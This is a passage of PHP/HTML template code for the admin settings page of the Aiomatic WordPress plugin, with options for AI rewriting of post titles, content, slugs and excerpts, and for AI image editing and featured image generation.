AI model settings, which will be used when editing content. This could include things like the complexity of the language used, the tone of the content, and more.', 'aiomatic-automatic-ai-content-writer');?> <h2><?php echo esc_html__('General Tips', 'aiomatic-automatic-ai-content-writer');?></h2> <?php echo esc_html__('Be sure to always save settings you change.', 'aiomatic-automatic-ai-content-writer');?> <?php echo esc_html__('After you\'ve configured all the settings to your liking, make sure to click the "Save Changes" button at the bottom of the page.', 'aiomatic-automatic-ai-content-writer');?> <?php echo esc_html__('And that\'s it! Your Aiomatic plugin is now set up to automatically edit your posts using AI. Remember, you can always go back and change these settings if you find that the automatic editing isn\'t working quite how you want it to.', 'aiomatic-automatic-ai-content-writer');?> <h2><?php echo esc_html__("AI Content Editor Tutorial Video", 'aiomatic-automatic-ai-content-writer');?></h2> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/WVccxtXQTcc" frameborder="0" allowfullscreen></iframe></div></p> </div> <div id="tab-1" class="tab-content"> <table class="widefat"> <tr><td colspan="2"> <h2><?php echo esc_html__("AI Content Editing Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The plugin will rewrite the textual content of the post, using AI.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b class="wpaiomatic-delete"><?php echo esc_html__("Enable AI Content Rewriting:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="ai_rewriter" name="aiomatic_Spinner_Settings[ai_rewriter]" onchange="mainChanged();" > <option value="enabled"<?php if ($ai_rewriter == "enabled") { echo " selected"; } ?>><?php echo esc_html__("Enabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="disabled"<?php if ($ai_rewriter == "disabled") { echo " selected"; } ?>><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr> <tr class="hideMain"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><select id="edit_assistant_id" name="aiomatic_Spinner_Settings[edit_assistant_id]" class="cr_width_full" onchange="assistantSelected('edit_assistant_id', 'disableEdit');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($edit_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($edit_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr class="hideMain"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI model to use for text editing. Currently, the specialized edit models from OpenAI/AiomaticAPI are in beta, because of this, at the moment, it is recommended to use a completion model.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model To Use For Text Editing:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select id="edit_model" name="aiomatic_Spinner_Settings[edit_model]" <?php if($edit_assistant_id != ''){echo ' disabled';}?> class="disableEdit" onchange="visionSelectedAI();"> <?php foreach($all_edit_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($edit_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . '</option>'; } ?> </select> </td> </tr><tr class="hideMain hideVision"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to use AI vision and send to the AI model also the Featured Image of the edited post. Note that the AI prompt might also be needed to be updated if you enable this feature.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable AI Vision:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="ai_vision" name="aiomatic_Spinner_Settings[ai_vision]"<?php if ($ai_vision == 'on') echo ' checked '; ?>> </td> </tr> <tr class="hideMain"><td colspan="2"><hr/></td></tr> <tr class="hideMain"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to skip post title editing?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Skip Post Title Editing:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="no_title" name="aiomatic_Spinner_Settings[no_title]"<?php if ($no_title == 'on') echo ' checked '; ?>> </td> </tr><tr class="hideMain"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to rewrite also post URL with the modified title?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Rewrite Also Post URL With The Modified Title:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="rewrite_url" name="aiomatic_Spinner_Settings[rewrite_url]"<?php if ($rewrite_url == 'on') echo ' checked '; ?>> </td> </tr><tr class="hideMain"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Instruction for the AI editor, to edit post title. Please specify your instruction without adding the %%post_title%% shortcode, as the content will be automatically added at processing time. Nested shortcodes from other plugins also supported here. You can also use the following shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Instructions to Send For the AI Editor (Title Editing):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Spinner_Settings[ai_instruction_title]" placeholder="Please insert a title editor instruction"><?php echo esc_textarea($ai_instruction_title); ?></textarea> </div> </td></tr> <tr class="hideMain"><td colspan="2"><hr/></td></tr> <tr class="hideMain"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to skip post content editing?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Skip Post Content Editing:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="no_content" name="aiomatic_Spinner_Settings[no_content]"<?php if ($no_content == 'on') echo ' checked '; ?>> </td> </tr><tr class="hideMain"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Instruction for the AI editor, to edit post content. Please specify your instruction without adding the %%post_content%% shortcode, as the content will be automatically added at processing time. Nested shortcodes from other plugins also supported here. You can also use the following shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Instructions to Send For the AI Editor (Content Editing):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Spinner_Settings[ai_instruction]" placeholder="Please insert a content editor instruction"><?php echo esc_textarea($ai_instruction); ?></textarea> </div> </td></tr> <tr class="hideMain"><td colspan="2"><hr/></td></tr> <tr class="hideMain"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to skip post slug (URL) editing?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Skip Post Slug Editing:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="no_slug" name="aiomatic_Spinner_Settings[no_slug]"<?php if ($no_slug == 'on') echo ' checked '; ?>> </td> </tr><tr class="hideMain"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Instruction for the AI editor, to edit post slug. Please specify your instruction without adding the %%post_slug%% shortcode, as the excerpt will be automatically added at processing time. Nested shortcodes from other plugins also supported here. You can also use the following shortcodes: %%post_slug%%, %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Instructions to Send For the AI Editor (Slug Editing):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Spinner_Settings[ai_instruction_slug]" placeholder="Please insert a slug editor instruction"><?php echo esc_textarea($ai_instruction_slug); ?></textarea> </div> </td></tr> <tr class="hideMain"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum length of the edited post slug (in characters).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Edited Post Slug Max Length (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="1" step="1" id="max_slug_len" name="aiomatic_Spinner_Settings[max_slug_len]" class="cr_450" value="<?php echo esc_html($max_slug_len);?>" placeholder="Slug max length"> </td></tr> <tr class="hideMain"><td colspan="2"><hr/></td></tr> <tr class="hideMain"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to skip post excerpt editing?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Skip Post Excerpt Editing:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="no_excerpt" name="aiomatic_Spinner_Settings[no_excerpt]"<?php if ($no_excerpt == 'on') echo ' checked '; ?>> </td> </tr><tr class="hideMain"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Instruction for the AI editor, to edit post excerpt. Please specify your instruction without adding the %%post_excerpt%% shortcode, as the excerpt will be automatically added at processing time. Nested shortcodes from other plugins also supported here. You can also use the following shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Instructions to Send For the AI Editor (Excerpt Editing):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Spinner_Settings[ai_instruction_excerpt]" placeholder="Please insert a excerpt editor instruction"><?php echo esc_textarea($ai_instruction_excerpt); ?></textarea> </div> </td></tr> <tr class="hideMain"><td colspan="2"><hr/></td></tr> <tr class="hideMain"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Content Editor Temperature:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="0" step="0.01" max="2" id="edit_temperature" name="aiomatic_Spinner_Settings[edit_temperature]" class="cr_450" value="<?php echo esc_html($edit_temperature);?>" placeholder="0"> </td></tr><tr class="hideMain"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Content Editor Top_p:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="0" step="0.01" max="1" id="edit_top_p" name="aiomatic_Spinner_Settings[edit_top_p]" class="cr_450" value="<?php echo esc_html($edit_top_p);?>" placeholder="1"> </td></tr><tr class="hideMain"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to disable automatically editing of content longer than this character count?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Disable Editing of Content Longer Than This Character Count:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="0" step="1" id="max_char" name="aiomatic_Spinner_Settings[max_char]" class="cr_450" value="<?php echo esc_html($max_char);?>" placeholder="Max editing character count"> </td></tr><tr class="hideMain"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Currently, as the AI editor is in beta, it might have difficulties editing longer texts. If you encounter this issue, you can limit the chunk size which is sent to the AI editor (in characters). Leave this blank if editing works well in your case.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Character Chunk Size To Send To The AI Editor (Optional):", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="100" step="1" id="max_char_chunks" name="aiomatic_Spinner_Settings[max_char_chunks]" class="cr_450" value="<?php echo esc_html($max_char_chunks);?>" placeholder="Max character count"> </td></tr> <tr class="hideMain"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Currently, because of an issue with the AI editor, sometimes it might remove parts of the HTML content you send to it for editing. The Aiomatic plugin can check if this happens and not change the post in these cases. If you check this checkbox, the edited content will be published, even if it misses some HTML tags. Do you want to publish edited content even if the AI editor removed some or all HTML content from the text?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Publish Edited Content Even if the AI Removed Parts of the HTML Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="no_html_check" name="aiomatic_Spinner_Settings[no_html_check]"<?php if ($no_html_check == 'on') echo ' checked '; ?>> </td> </tr><tr class="hideMain"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to protect HTML tags in edited text? This will add to the prompt you enter, a phrase which specifies to protect HTML tags from the edited text.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Protect HTML Tags in Edited Text:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="protect_html" name="aiomatic_Spinner_Settings[protect_html]"<?php if ($protect_html == 'on') echo ' checked '; ?>> </td> </tr> <tr><td colspan="2"><hr/></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The plugin will automatically edit the images found in the post content, using AI, based on the prompt you define in the settings.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b class="wpaiomatic-delete"><?php echo esc_html__("Enable Post Content Image Editing:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="ai_featured_image_edit_content" name="aiomatic_Spinner_Settings[ai_featured_image_edit_content]" onchange="mainChanged2c();" > <option value="enabled"<?php if ($ai_featured_image_edit_content == "enabled") { echo " selected"; } ?>><?php echo esc_html__("Enabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="disabled"<?php if ($ai_featured_image_edit_content == "disabled") { echo " selected"; } ?>><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr><tr class="hideMain2c"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the engine which will be used for content image editing.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Image Editing Engine:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="ai_featured_image_engine_content" name="aiomatic_Spinner_Settings[ai_featured_image_engine_content]" onchange="mainChangedImg();"> <option value="2"<?php if ($ai_featured_image_engine_content == "2") { echo " selected"; } if (!isset($aiomatic_Main_Settings['stability_app_id']) || trim($aiomatic_Main_Settings['stability_app_id']) == '') { echo ' disabled title="You need to add a Stability.ai API key for this feature to work"'; } ?>><?php echo esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr><tr class="hideMain2c"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set an prompt command you want to send to the AI content image editor. This command can be any given task or order, based on which, it will edit the featured image of the post. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). If you use Royalty Free Images as a source, you can also set their keywords here, if no keywords set, they will be automatically generated.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prompt To Send To The AI Content Image Editor:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Spinner_Settings[ai_image_command_edit_content]" placeholder="Please insert a command for the AI content image editor"><?php echo esc_textarea($ai_image_command_edit_content); ?></textarea> </div> </td></tr><tr class="hideMain2c"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("How much influence the init_image has on the diffusion process. Values close to 1 will yield images very similar to the init_image while values close to 0 will yield images wildly different than the init_image. The behavior of this is meant to mirror DreamStudio's \"Image Strength\" slider. This parameter is just an alternate way to set step_schedule_start, which is done via the calculation 1 - image_strength. For example, passing in an Image Strength of 35% (0.35) would result in a step_schedule_start of 0.65.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Original Content Image Strength:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="0" max="1" step="0.01" id="image_strength_content" name="aiomatic_Spinner_Settings[image_strength_content]" class="cr_450" value="<?php echo esc_html($image_strength_content);?>" placeholder="Original content image strength"> </td></tr> <tr class="hideMain2c"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Maximum number of images that should be edited from the post content. This is a protection mechanism, to not allow the plugin to edit too many images from a single post's content. To disable this feature, leave it blank.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Images To Edit From A Single Post Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="number" min="1" step="1" id="max_edit_content" name="aiomatic_Spinner_Settings[max_edit_content]" class="cr_450" value="<?php echo esc_html($max_edit_content);?>" placeholder="Maximum number of images to edit in a single post"> </td></tr> <tr><td colspan="2"> <h2><?php echo esc_html__("AI Generated Featured Image Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The plugin will generate AI generated or royalty free images, that will be assigned as featured images for posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b class="wpaiomatic-delete"><?php echo esc_html__("Enable Featured Image Creation:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="ai_featured_image" name="aiomatic_Spinner_Settings[ai_featured_image]" onchange="mainChanged2();" > <option value="enabled"<?php if ($ai_featured_image == "enabled") { echo " selected"; } ?>><?php echo esc_html__("Enabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="disabled"<?php if ($ai_featured_image == "disabled") { echo " selected"; } ?>><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr><tr class="hideMain2"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the source of the created featured images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Featured Image Source:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="ai_featured_image_source" name="aiomatic_Spinner_Settings[ai_featured_image_source]" onchange="mainChangedImg();"> <option value="1"<?php if ($ai_featured_image_source == "1") { echo " selected"; } ?>><?php echo esc_html__("OpenAI/AiomaticAPI", 'aiomatic-automatic-ai-content-writer');?></option> <?php if (isset($aiomatic_Main_Settings['stability_app_id']) && trim($aiomatic_Main_Settings['stability_app_id']) != '') { ?> <option value="2"<?php if ($ai_featured_image_source == "2") { echo " selected"; } ?>><?php echo esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer');?></option> <?php } ?> <option value="0"<?php if ($ai_featured_image_source == "0") { echo " selected"; } ?>><?php echo esc_html__("Royalty Free", 'aiomatic-automatic-ai-content-writer');?></option> <option value="3"<?php if ($ai_featured_image_source == "3") { echo " selected"; } ?>><?php echo esc_html__("Manual URL List", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr><tr class="hideMain2 hideMainAgain2"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set an prompt command you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate content for posts. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). If you use Royalty Free Images as a source, you can also set their keywords here, if no keywords set, they will be automatically generated.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prompt To Send To The AI Image Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Spinner_Settings[ai_image_command]" placeholder="Please insert a command for the AI image generator"><?php echo esc_textarea($ai_image_command); ?></textarea> </div> </td></tr><tr class="hideMain2 hideMainAgain2"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the size of the generated featured image.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Generated Featured Image Size:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="image_size" name="aiomatic_Spinner_Settings[image_size]" > <option value="256x256"<?php if ($image_size == "256x256") { echo " selected"; } ?>><?php echo esc_html__("256x256 (only for Dall-E 2)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="512x512"<?php if ($image_size == "512x512") { echo " selected"; } ?>><?php echo esc_html__("512x512 (only for Dall-E 2 & Stable Diffusion)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1024"<?php if ($image_size == "1024x1024") { echo " selected"; } ?>><?php echo esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1792"<?php if ($image_size == "1024x1792") { echo " selected"; } ?>><?php echo esc_html__("1024x1792 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1792x1024"<?php if ($image_size == "1792x1024") { echo " selected"; } ?>><?php echo esc_html__("1792x1024 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr> <tr class="hideImg hideMainAgain2"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the size of the generated featured image.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Image Model:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="image_model" name="aiomatic_Spinner_Settings[image_model]"> <option value="dalle2"<?php if ($image_model == "dalle2") { echo " selected"; } ?>><?php echo esc_html__("Dall-E 2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3"<?php if ($image_model == "dalle3") { echo " selected"; } ?>><?php echo esc_html__("Dall-E 3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3hd"<?php if ($image_model == "dalle3hd") { echo " selected"; } ?>><?php echo esc_html__("Dall-E 3 HD", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr><tr class="hideMain2 hideMainSecond2"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set a comma sepatated list of images to assign to posts. You can also use the AI to select the best matching image 